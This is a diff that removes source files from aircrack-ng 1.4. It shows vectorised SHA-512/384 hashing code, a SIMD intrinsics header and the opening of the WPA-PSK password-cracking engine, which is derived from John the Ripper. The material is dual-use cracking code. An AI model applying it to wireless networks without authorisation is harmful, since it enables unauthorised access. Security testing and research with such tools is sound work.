-				d[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 3 * VS64]);
-				e[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 4 * VS64]);
-				f[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 5 * VS64]);
-				g[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 6 * VS64]);
-				h[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 7 * VS64]);
-			}
-		}
-		else
-		{
-			SHA512_PARA_DO(i)
-			{
-				a[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 0 * VS64]);
-				b[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 1 * VS64]);
-				c[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 2 * VS64]);
-				d[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 3 * VS64]);
-				e[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 4 * VS64]);
-				f[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 5 * VS64]);
-				g[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 6 * VS64]);
-				h[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 7 * VS64]);
-			}
-		}
-	}
-	else
-	{
-		if (SSEi_flags & SSEi_CRYPT_SHA384)
-		{
-			SHA512_PARA_DO(i)
-			{
-				/* SHA-384 IV */
-				a[i] = vset1_epi64(0xcbbb9d5dc1059ed8ULL);
-				b[i] = vset1_epi64(0x629a292a367cd507ULL);
-				c[i] = vset1_epi64(0x9159015a3070dd17ULL);
-				d[i] = vset1_epi64(0x152fecd8f70e5939ULL);
-				e[i] = vset1_epi64(0x67332667ffc00b31ULL);
-				f[i] = vset1_epi64(0x8eb44a8768581511ULL);
-				g[i] = vset1_epi64(0xdb0c2e0d64f98fa7ULL);
-				h[i] = vset1_epi64(0x47b5481dbefa4fa4ULL);
-			}
-		}
-		else
-		{
-			SHA512_PARA_DO(i)
-			{
-				/* SHA-512 IV */
-				a[i] = vset1_epi64(0x6a09e667f3bcc908ULL);
-				b[i] = vset1_epi64(0xbb67ae8584caa73bULL);
-				c[i] = vset1_epi64(0x3c6ef372fe94f82bULL);
-				d[i] = vset1_epi64(0xa54ff53a5f1d36f1ULL);
-				e[i] = vset1_epi64(0x510e527fade682d1ULL);
-				f[i] = vset1_epi64(0x9b05688c2b3e6c1fULL);
-				g[i] = vset1_epi64(0x1f83d9abfb41bd6bULL);
-				h[i] = vset1_epi64(0x5be0cd19137e2179ULL);
-			}
-		}
-	}
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 0, 0x428a2f98d728ae22ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 1, 0x7137449123ef65cdULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 2, 0xb5c0fbcfec4d3b2fULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 3, 0xe9b5dba58189dbbcULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 4, 0x3956c25bf348b538ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 5, 0x59f111f1b605d019ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 6, 0x923f82a4af194f9bULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 7, 0xab1c5ed5da6d8118ULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 8, 0xd807aa98a3030242ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 9, 0x12835b0145706fbeULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be4ee4b28cULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3d5ffb4e2ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74f27b896fULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe3b1696b1ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a725c71235ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174cf692694ULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c19ef14ad2ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786384f25e3ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc68b8cd5b5ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc77ac9c65ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f592b0275ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa6ea6e483ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dcbd41fbd4ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da831153b5ULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152ee66dfabULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d2db43210ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c898fb213fULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7beef0ee4ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf33da88fc2ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147930aa725ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351e003826fULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 31, 0x142929670a0e6e70ULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a8546d22ffcULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b21385c26c926ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc5ac42aedULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d139d95b3dfULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 36, 0x650a73548baf63deULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb3c77b2a8ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e47edaee6ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c851482353bULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a14cf10364ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664bbc423001ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70d0f89791ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a30654be30ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819d6ef5218ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 45, 0xd69906245565a910ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e35855771202aULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa07032bbd1b8ULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116b8d2d0c8ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c085141ab53ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774cdf8eeb99ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5e19b48a8ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3c5c95a63ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4ae3418acbULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 54, 0x5b9cca4f7763e373ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3d6b2b8a3ULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee5defb2fcULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f43172f60ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 58, 0x84c87814a1f0ab72ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc702081a6439ecULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa23631e28ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506cebde82bde9ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7b2c67915ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2e372532bULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 64, 0xca273eceea26619cULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 65, 0xd186b8c721c0c207ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 66, 0xeada7dd6cde0eb1eULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 67, 0xf57d4f7fee6ed178ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 68, 0x06f067aa72176fbaULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 69, 0x0a637dc5a2c898a6ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 70, 0x113f9804bef90daeULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 71, 0x1b710b35131c471bULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 72, 0x28db77f523047d84ULL);
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS && !(SSEi_flags & SSEi_CRYPT_SHA384))
-	{
-		SHA512_PARA_DO(i)
-		{
-			vstore((vtype *) &(out[i * 8 * VS64 + 0 * VS64]), h[i]);
-		}
-		return;
-	}
-
-	SHA512_STEP(h, a, b, c, d, e, f, g, 73, 0x32caab7b40c72493ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 74, 0x3c9ebe0a15c9bebcULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 75, 0x431d67c49c100d4cULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 76, 0x4cc5d4becb3e42b6ULL);
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS)
-	{
-		SHA512_PARA_DO(i)
-		{
-			vstore((vtype *) &(out[i * 8 * VS64 + 3 * VS64]), d[i]);
-		}
-		return;
-	}
-
-	SHA512_STEP(d, e, f, g, h, a, b, c, 77, 0x597f299cfc657e2aULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 78, 0x5fcb6fab3ad6faecULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 79, 0x6c44198c4a475817ULL);
-
-	if (SSEi_flags & SSEi_RELOAD)
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
-		{
-			SHA512_PARA_DO(i)
-			{
-				a[i] = vadd_epi64(
-					a[i],
-					vload((vtype *) &reload_state[i * 16 * VS64 + 0 * VS64]));
-				b[i] = vadd_epi64(
-					b[i],
-					vload((vtype *) &reload_state[i * 16 * VS64 + 1 * VS64]));
-				c[i] = vadd_epi64(
-					c[i],
-					vload((vtype *) &reload_state[i * 16 * VS64 + 2 * VS64]));
-				d[i] = vadd_epi64(
-					d[i],
-					vload((vtype *) &reload_state[i * 16 * VS64 + 3 * VS64]));
-				e[i] = vadd_epi64(
-					e[i],
-					vload((vtype *) &reload_state[i * 16 * VS64 + 4 * VS64]));
-				f[i] = vadd_epi64(
-					f[i],
-					vload((vtype *) &reload_state[i * 16 * VS64 + 5 * VS64]));
-				g[i] = vadd_epi64(
-					g[i],
-					vload((vtype *) &reload_state[i * 16 * VS64 + 6 * VS64]));
-				h[i] = vadd_epi64(
-					h[i],
-					vload((vtype *) &reload_state[i * 16 * VS64 + 7 * VS64]));
-			}
-		}
-		else
-		{
-			SHA512_PARA_DO(i)
-			{
-				a[i] = vadd_epi64(
-					a[i],
-					vload((vtype *) &reload_state[i * 8 * VS64 + 0 * VS64]));
-				b[i] = vadd_epi64(
-					b[i],
-					vload((vtype *) &reload_state[i * 8 * VS64 + 1 * VS64]));
-				c[i] = vadd_epi64(
-					c[i],
-					vload((vtype *) &reload_state[i * 8 * VS64 + 2 * VS64]));
-				d[i] = vadd_epi64(
-					d[i],
-					vload((vtype *) &reload_state[i * 8 * VS64 + 3 * VS64]));
-				e[i] = vadd_epi64(
-					e[i],
-					vload((vtype *) &reload_state[i * 8 * VS64 + 4 * VS64]));
-				f[i] = vadd_epi64(
-					f[i],
-					vload((vtype *) &reload_state[i * 8 * VS64 + 5 * VS64]));
-				g[i] = vadd_epi64(
-					g[i],
-					vload((vtype *) &reload_state[i * 8 * VS64 + 6 * VS64]));
-				h[i] = vadd_epi64(
-					h[i],
-					vload((vtype *) &reload_state[i * 8 * VS64 + 7 * VS64]));
-			}
-		}
-	}
-	else
-	{
-		if (SSEi_flags & SSEi_CRYPT_SHA384)
-		{
-			SHA512_PARA_DO(i)
-			{
-				/* SHA-384 IV */
-				a[i] = vadd_epi64(a[i], vset1_epi64(0xcbbb9d5dc1059ed8ULL));
-				b[i] = vadd_epi64(b[i], vset1_epi64(0x629a292a367cd507ULL));
-				c[i] = vadd_epi64(c[i], vset1_epi64(0x9159015a3070dd17ULL));
-				d[i] = vadd_epi64(d[i], vset1_epi64(0x152fecd8f70e5939ULL));
-				e[i] = vadd_epi64(e[i], vset1_epi64(0x67332667ffc00b31ULL));
-				f[i] = vadd_epi64(f[i], vset1_epi64(0x8eb44a8768581511ULL));
-				g[i] = vadd_epi64(g[i], vset1_epi64(0xdb0c2e0d64f98fa7ULL));
-				h[i] = vadd_epi64(h[i], vset1_epi64(0x47b5481dbefa4fa4ULL));
-			}
-		}
-		else
-		{
-			SHA512_PARA_DO(i)
-			{
-				/* SHA-512 IV */
-				a[i] = vadd_epi64(a[i], vset1_epi64(0x6a09e667f3bcc908ULL));
-				b[i] = vadd_epi64(b[i], vset1_epi64(0xbb67ae8584caa73bULL));
-				c[i] = vadd_epi64(c[i], vset1_epi64(0x3c6ef372fe94f82bULL));
-				d[i] = vadd_epi64(d[i], vset1_epi64(0xa54ff53a5f1d36f1ULL));
-				e[i] = vadd_epi64(e[i], vset1_epi64(0x510e527fade682d1ULL));
-				f[i] = vadd_epi64(f[i], vset1_epi64(0x9b05688c2b3e6c1fULL));
-				g[i] = vadd_epi64(g[i], vset1_epi64(0x1f83d9abfb41bd6bULL));
-				h[i] = vadd_epi64(h[i], vset1_epi64(0x5be0cd19137e2179ULL));
-			}
-		}
-	}
-
-	if (SSEi_flags & SSEi_FLAT_OUT)
-	{
-		SHA512_PARA_DO(i)
-		{
-			uint64_t * o = (uint64_t *) &out[i * 8 * VS64];
-#if __AVX512F__ || __MIC__
-			vtype idxs = vset_epi64(
-				7 << 3, 6 << 3, 5 << 3, 4 << 3, 3 << 3, 2 << 3, 1 << 3, 0 << 3);
-
-			vscatter_epi64(o + 0, idxs, vswap64(a[i]), 8);
-			vscatter_epi64(o + 1, idxs, vswap64(b[i]), 8);
-			vscatter_epi64(o + 2, idxs, vswap64(c[i]), 8);
-			vscatter_epi64(o + 3, idxs, vswap64(d[i]), 8);
-			vscatter_epi64(o + 4, idxs, vswap64(e[i]), 8);
-			vscatter_epi64(o + 5, idxs, vswap64(f[i]), 8);
-			vscatter_epi64(o + 6, idxs, vswap64(g[i]), 8);
-			vscatter_epi64(o + 7, idxs, vswap64(h[i]), 8);
-#else
-			uint64_t j, k;
-			union {
-				vtype v[8];
-				uint64_t s[8 * VS64];
-			} tmp;
-
-			tmp.v[0] = vswap64(a[i]);
-			tmp.v[1] = vswap64(b[i]);
-			tmp.v[2] = vswap64(c[i]);
-			tmp.v[3] = vswap64(d[i]);
-			tmp.v[4] = vswap64(e[i]);
-			tmp.v[5] = vswap64(f[i]);
-			tmp.v[6] = vswap64(g[i]);
-			tmp.v[7] = vswap64(h[i]);
-
-			for (j = 0; j < VS64; j++)
-				for (k = 0; k < 8; k++) o[j * 8 + k] = tmp.s[k * VS64 + j];
-#endif
-		}
-	}
-	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
-			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
-		{
-			SHA512_PARA_DO(i)
-			{
-				vstore((vtype *) &out[i * 32 * VS64 + 0 * VS64], a[i]);
-				vstore((vtype *) &out[i * 32 * VS64 + 1 * VS64], b[i]);
-				vstore((vtype *) &out[i * 32 * VS64 + 2 * VS64], c[i]);
-				vstore((vtype *) &out[i * 32 * VS64 + 3 * VS64], d[i]);
-				vstore((vtype *) &out[i * 32 * VS64 + 4 * VS64], e[i]);
-				vstore((vtype *) &out[i * 32 * VS64 + 5 * VS64], f[i]);
-				vstore((vtype *) &out[i * 32 * VS64 + 6 * VS64], g[i]);
-				vstore((vtype *) &out[i * 32 * VS64 + 7 * VS64], h[i]);
-			}
-		}
-		else
-		{
-			SHA512_PARA_DO(i)
-			{
-				vstore((vtype *) &out[i * 16 * VS64 + 0 * VS64], a[i]);
-				vstore((vtype *) &out[i * 16 * VS64 + 1 * VS64], b[i]);
-				vstore((vtype *) &out[i * 16 * VS64 + 2 * VS64], c[i]);
-				vstore((vtype *) &out[i * 16 * VS64 + 3 * VS64], d[i]);
-				vstore((vtype *) &out[i * 16 * VS64 + 4 * VS64], e[i]);
-				vstore((vtype *) &out[i * 16 * VS64 + 5 * VS64], f[i]);
-				vstore((vtype *) &out[i * 16 * VS64 + 6 * VS64], g[i]);
-				vstore((vtype *) &out[i * 16 * VS64 + 7 * VS64], h[i]);
-			}
-		}
-	}
-	else
-	{
-		SHA512_PARA_DO(i)
-		{
-			vstore((vtype *) &(out[i * 8 * VS64 + 0 * VS64]), a[i]);
-			vstore((vtype *) &(out[i * 8 * VS64 + 1 * VS64]), b[i]);
-			vstore((vtype *) &(out[i * 8 * VS64 + 2 * VS64]), c[i]);
-			vstore((vtype *) &(out[i * 8 * VS64 + 3 * VS64]), d[i]);
-			vstore((vtype *) &(out[i * 8 * VS64 + 4 * VS64]), e[i]);
-			vstore((vtype *) &(out[i * 8 * VS64 + 5 * VS64]), f[i]);
-			vstore((vtype *) &(out[i * 8 * VS64 + 6 * VS64]), g[i]);
-			vstore((vtype *) &(out[i * 8 * VS64 + 7 * VS64]), h[i]);
-		}
-	}
-}
-
-#endif /* SIMD_PARA_SHA512 */

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/simd-intrinsics.h Deleted

@@ -1,200 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software is Copyright (c) 2010 bartavelle, <bartavelle at bandecon.com>,
- * and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * Some modifications, Jim Fougeron, 2013.  Licensing rights listed in
- * accompanying simd-intrinsics.c file.
- */
-
-#if !defined(__JTR_SSE_INTRINSICS_H__)
-#define __JTR_SSE_INTRINSICS_H__
-
-#if (SIMD_COEF_32 && SIMD_COEF_32 == 2) || !SIMD_COEF_32
-#undef SIMD_TYPE
-#define SIMD_TYPE ""
-#undef SIMD_COEF_32
-#endif
-
-#include "jcommon.h"
-#include "pseudo_intrinsics.h"
-#include "simd-intrinsics-load-flags.h"
-#include "aligned.h"
-
-#ifndef _EMMINTRIN_H_INCLUDED
-#define __m128i void
-#endif
-#define vtype void
-
-#define STRINGIZE2(s) #s
-#define STRINGIZE(s) STRINGIZE2(s)
-
-#if __ALTIVEC__
-#undef SIMD_TYPE
-#define SIMD_TYPE "AltiVec"
-#elif __ARM_NEON__
-#undef SIMD_TYPE
-#define SIMD_TYPE "NEON"
-#elif __MIC__
-#undef SIMD_TYPE
-#define SIMD_TYPE "MIC"
-#elif __AVX512F__
-#undef SIMD_TYPE
-#define SIMD_TYPE "AVX512F"
-#elif __AVX2__
-#undef SIMD_TYPE
-#define SIMD_TYPE "AVX2"
-#elif __XOP__
-#undef SIMD_TYPE
-#define SIMD_TYPE "XOP"
-#elif __AVX__
-#undef SIMD_TYPE
-#define SIMD_TYPE "AVX"
-#elif __SSE4_1__
-#undef SIMD_TYPE
-#define SIMD_TYPE "SSE4.1"
-#elif __SSSE3__
-#undef SIMD_TYPE
-#define SIMD_TYPE "SSSE3"
-#elif __SSE2__
-#undef SIMD_TYPE
-#define SIMD_TYPE "SSE2"
-#elif SIMD_COEF_32
-#undef SIMD_TYPE
-#define SIMD_TYPE "MMX" // not really supported
-#endif
-
-#if SIMD_COEF_32 == 16
-#define BITS "512/512"
-#elif SIMD_COEF_32 == 8
-#define BITS "256/256"
-#elif SIMD_COEF_32 == 4
-#define BITS "128/128"
-#elif SIMD_COEF_32 == 2
-#define BITS "64/64"
-#endif
-
-#ifdef SIMD_PARA_MD5
-void md5cryptsse(unsigned char * buf,
-				 unsigned char * salt,
-				 char * out,
-				 unsigned int md5_type);
-void SIMDmd5body(vtype * data,
-				 ARCH_WORD_32 * out,
-				 ARCH_WORD_32 * reload_state,
-				 unsigned SSEi_flags);
-void md5_reverse(uint32_t * hash);
-void md5_unreverse(uint32_t * hash);
-#define MD5_ALGORITHM_NAME BITS " " SIMD_TYPE " " MD5_N_STR
-#else
-#define MD5_ALGORITHM_NAME "32/" ARCH_BITS_STR
-#endif
-
-#ifdef SIMD_PARA_MD4
-// void SIMDmd4body(__m128i* data, unsigned int *out, int init);
-void SIMDmd4body(vtype * data,
-				 ARCH_WORD_32 * out,
-				 ARCH_WORD_32 * reload_state,
-				 unsigned SSEi_flags);
-void md4_reverse(uint32_t * hash);
-void md4_unreverse(uint32_t * hash);
-#define MD4_ALGORITHM_NAME BITS " " SIMD_TYPE " " MD4_N_STR
-#else
-#define MD4_ALGORITHM_NAME "32/" ARCH_BITS_STR
-#endif
-
-#ifdef SIMD_PARA_SHA1
-void SIMDSHA1body(vtype * data,
-				  ARCH_WORD_32 * out,
-				  ARCH_WORD_32 * reload_state,
-				  unsigned SSEi_flags);
-void sha1_reverse(uint32_t * hash);
-void sha1_unreverse(uint32_t * hash);
-#define SHA1_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA1_N_STR
-#else
-#define SHA1_ALGORITHM_NAME "32/" ARCH_BITS_STR
-#endif
-
-// we use the 'outter' SIMD_COEF_32 wrapper, as the flag for SHA256/SHA512.
-// FIX_ME!!
-#if SIMD_COEF_32 > 1
-
-#ifdef SIMD_COEF_32
-#define SHA256_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA256_N_STR
-void SIMDSHA256body(vtype * data,
-					ARCH_WORD_32 * out,
-					ARCH_WORD_32 * reload_state,
-					unsigned SSEi_flags);
-void sha224_reverse(uint32_t * hash);
-void sha224_unreverse(uint32_t * hash);
-void sha256_reverse(uint32_t * hash);
-void sha256_unreverse(void);
-#endif
-
-#ifdef SIMD_COEF_64
-#define SHA512_ALGORITHM_NAME BITS " " SIMD_TYPE " " SHA512_N_STR
-void SIMDSHA512body(vtype * data,
-					ARCH_WORD_64 * out,
-					ARCH_WORD_64 * reload_state,
-					unsigned SSEi_flags);
-void sha384_reverse(ARCH_WORD_64 * hash);
-void sha384_unreverse(ARCH_WORD_64 * hash);
-void sha512_reverse(ARCH_WORD_64 * hash);
-void sha512_unreverse(void);
-#endif
-
-#else
-#if ARCH_BITS >= 64
-#define SHA256_ALGORITHM_NAME "64/" ARCH_BITS_STR " " SHA2_LIB
-#define SHA512_ALGORITHM_NAME "64/" ARCH_BITS_STR " " SHA2_LIB
-#else
-#define SHA256_ALGORITHM_NAME "32/" ARCH_BITS_STR " " SHA2_LIB
-#define SHA512_ALGORITHM_NAME "32/" ARCH_BITS_STR " " SHA2_LIB
-#endif
-
-#endif
-
-#undef vtype /* void */
-
-#endif // __JTR_SSE_INTRINSICS_H__

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/wpapsk.c Deleted

@@ -1,519 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software is Copyright (c) 2012 Lukas Odzioba <ukasz at openwall dot net>
- * and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * Code is based on Aircrack-ng source
- *
- * SSE2 code enhancement, Jim Fougeron, Jan, 2013.
- *   Also removed oSSL code: HMAC(EVP_sha1(), ....), and coded what it does
- * (which is simple), inline.
- */
-#ifndef USE_GCRYPT
-#include <openssl/sha.h>
-#else
-#include "sha1-git.h"
-#endif
-#include <string.h>
-#include <stdint.h>
-#include "simd-intrinsics.h"
-#include "aircrack-ng.h"
-#include "arch.h"
-#include "wpapsk.h"
-#include "johnswap.h"
-#include "memory.h"
-#include "aircrack-util/simd_cpuid.h"
-
-// #define XDEBUG
-
-#if defined(__INTEL_COMPILER)
-#define SIMD_PARA_SHA1 1
-#elif defined(__clang__)
-#define SIMD_PARA_SHA1 1
-#elif defined(__llvm__)
-#define SIMD_PARA_SHA1 1
-#elif defined(__GNUC__) && GCC_VERSION < 40504 // 4.5.4
-#define SIMD_PARA_SHA1 1
-#elif !defined(__AVX__) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
-#define SIMD_PARA_SHA1 1
-#else
-#define SIMD_PARA_SHA1 1
-#endif
-
-#ifdef SIMD_CORE
-#ifdef SIMD_COEF_32
-#define NBKEYS (SIMD_COEF_32 * SIMD_PARA_SHA1)
-#ifdef _OPENMP
-#include <omp.h>
-#endif
-#else
-#define NBKEYS 1
-#ifdef _OPENMP
-#include <omp.h>
-#endif
-#endif
-#else
-#ifdef MMX_COEF
-#define NBKEYS (MMX_COEF * SHA1_SSE_PARA)
-#ifdef _OPENMP
-#include <omp.h>
-#endif
-#else
-#define NBKEYS 1
-#ifdef _OPENMP
-#include <omp.h>
-#endif
-#endif
-#endif
-
-#include "memdbg.h"
-
-#ifndef SIMD_CORE
-#undef SIMDSHA1body
-#define SIMDSHA1body SSESHA1body
-#endif
-
-char itoa64[64]
-	= "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
-char atoi64[0x100];
-
-/* for endianity conversion */
-#ifdef SIMD_CORE
-#define GETPOS(i, index)                                                       \
-	((index & (SIMD_COEF_32 - 1)) * 4                                          \
-	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
-	 + (3 - ((i) &3))                                                          \
-	 + (unsigned int) index / SIMD_COEF_32 * SHA_BUF_SIZ * SIMD_COEF_32 * 4)
-#else
-#define GETPOS(i, index)                                                       \
-	((index & (MMX_COEF - 1)) * 4 + ((i) & (0xffffffff - 3)) * MMX_COEF        \
-	 + (3 - ((i) &3))                                                          \
-	 + (index >> (MMX_COEF >> 1)) * SHA_BUF_SIZ * MMX_COEF * 4)
-#endif
-
-#ifdef SIMD_CORE
-static MAYBE_INLINE void wpapsk_sse(ac_crypto_engine_t * engine,
-									int threadid,
-									int count,
-									const wpapsk_password * in)
-{
-	int t; // thread count
-	int salt_length = engine->essid_length;
-	int slen = salt_length + 4;
-	int loops = (count + NBKEYS - 1) / NBKEYS;
-
-	unsigned char * sse_hash1 = NULL;
